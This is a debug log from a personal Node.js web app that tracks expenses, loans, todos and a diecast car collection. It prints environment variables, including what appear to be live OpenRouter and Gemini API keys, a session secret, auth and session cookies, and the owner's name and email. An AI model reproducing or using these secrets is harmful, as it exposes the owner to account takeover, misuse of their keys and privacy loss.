  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-03T10:29:55.333Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T10:29:56.963Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T10:29:57.825Z server-connect:setup:upload Upload middleware configured.
2026-07-03T10:29:57.825Z server-connect:secure CSRF Protection initialized
2026-07-03T10:29:57.831Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T10:29:57.833Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T10:29:57.834Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T10:29:57.836Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T10:29:57.845Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T10:29:57.846Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T10:29:57.860Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T10:29:57.873Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T10:29:57.878Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T10:29:57.879Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T10:29:57.881Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T10:29:57.884Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T10:29:57.892Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T10:29:57.900Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T10:29:57.906Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T10:29:57.914Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T10:29:57.916Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T10:29:57.920Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T10:29:57.926Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T10:29:57.930Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T10:29:57.932Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T10:29:57.939Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T10:29:57.942Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T10:29:57.947Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T10:29:57.949Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T10:29:57.954Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T10:29:57.954Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T10:29:57.957Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T10:29:57.962Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T10:29:57.966Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T10:29:57.966Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T10:29:57.970Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T10:29:57.973Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T10:29:57.975Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T10:29:57.981Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T10:29:57.985Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T10:29:57.987Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T10:29:57.996Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T10:37:04.735Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T10:37:04.907Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T10:37:04.989Z server-connect:setup:upload Upload middleware configured.
2026-07-03T10:37:04.990Z server-connect:secure CSRF Protection initialized
2026-07-03T10:37:04.992Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T10:37:04.993Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T10:37:04.994Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T10:37:04.994Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T10:37:04.995Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T10:37:04.996Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T10:37:04.997Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T10:37:05.000Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T10:37:05.001Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T10:37:05.001Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T10:37:05.001Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T10:37:05.002Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T10:37:05.002Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T10:37:05.002Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T10:37:05.003Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T10:37:05.003Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T10:37:05.003Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T10:37:05.004Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T10:37:05.004Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T10:37:05.004Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T10:37:05.005Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T10:37:05.005Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T10:37:05.005Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T10:37:05.006Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T10:37:05.006Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T10:37:05.006Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T10:37:05.006Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T10:37:05.007Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T10:37:05.007Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T10:37:05.007Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T10:37:05.007Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T10:37:05.007Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T10:37:05.008Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T10:37:05.008Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T10:37:05.008Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T10:37:05.008Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T10:37:05.008Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T10:37:05.009Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T10:37:08.908Z server-connect:router Serving templateView /
2026-07-03T10:37:08.911Z server-connect:app Executing action step identify
2026-07-03T10:37:08.911Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:08.913Z server-connect:output identity: 1
2026-07-03T10:37:08.913Z server-connect:app Executing action step restrict
2026-07-03T10:37:08.913Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T10:37:08.914Z server-connect:output restrict: undefined
2026-07-03T10:37:08.914Z server-connect:app Executing action step restrict
2026-07-03T10:37:08.915Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T10:37:08.916Z server-connect:output restrict: undefined
2026-07-03T10:37:08.916Z server-connect:router Render template layouts/main
2026-07-03T10:37:08.917Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ; your_r_git.sid=s%3Av_Vsyho4KiE0Eb6mc6kHfG9v3RRIi6TS.mbM95ImPj%2Bzb5Zm1ph76PbFwTYEI3%2FM0fj6ZXY5wllI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T09:27:29.533Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AdAm7BGcFfqLXaYO9AXNf0A%3D%3D.iInXcNeVCIMUi%2Fq1Kw5GhQWoyIcopn4hOO0h8%2BUb5x6yiVSkl4V22iTVHbgQTWNfwaDCL3zNbXPp%2Bpxrx8r%2FnAZ9RKnKThe72ZUYHUZwQZ5SYcvoyPcyXZxZVvA%2BtKvezq0gDQFGpHbW0g%2FIVsUDddl5B0uGlUn2l5fLJ5uXP8g%3D.Pn%2BtVDBdY6qPxmZEdHd3HZ%2FZ4H%2FiwjYo78luyWMEOOQ; your_r_git.sid=s%3Av_Vsyho4KiE0Eb6mc6kHfG9v3RRIi6TS.mbM95ImPj%2Bzb5Zm1ph76PbFwTYEI3%2FM0fj6ZXY5wllI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-03T10:37:14.593Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-03T10:37:14.594Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-03T10:37:14.594Z server-connect:app Executing action step identify
2026-07-03T10:37:14.594Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:14.594Z server-connect:output identity: 1
2026-07-03T10:37:14.594Z server-connect:app Executing action step restrict
2026-07-03T10:37:14.594Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:14.595Z server-connect:app Executing action step identify
2026-07-03T10:37:14.595Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:14.595Z server-connect:output identity: 1
2026-07-03T10:37:14.595Z server-connect:app Executing action step restrict
2026-07-03T10:37:14.595Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-03T10:37:14.595Z server-connect:output restrict: undefined
2026-07-03T10:37:14.596Z server-connect:app Executing action step select
2026-07-03T10:37:14.597Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-03T10:37:14.599Z server-connect:output restrict: undefined
2026-07-03T10:37:14.599Z server-connect:app Executing action step single
2026-07-03T10:37:14.599Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-03T10:37:14.601Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-03T10:37:14.605Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  {
    item_name: 'Mobile Premium',
    item_id: 46,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 587 more items
]
2026-07-03T10:37:19.369Z server-connect:router Serving templateView /diecast
2026-07-03T10:37:19.370Z server-connect:app Executing action step identify
2026-07-03T10:37:19.370Z server-connect:app options: { provider: 'security' }
2026-07-03T10:37:19.370Z server-connect:output identity: 1
2026-07-03T10:37:19.370Z server-connect:app Executing action step restrict
2026-07-03T10:37:19.370Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T10:37:19.371Z server-connect:output restrict: undefined
2026-07-03T10:37:19.371Z server-connect:router Render template diecast
2026-07-03T10:37:19.371Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
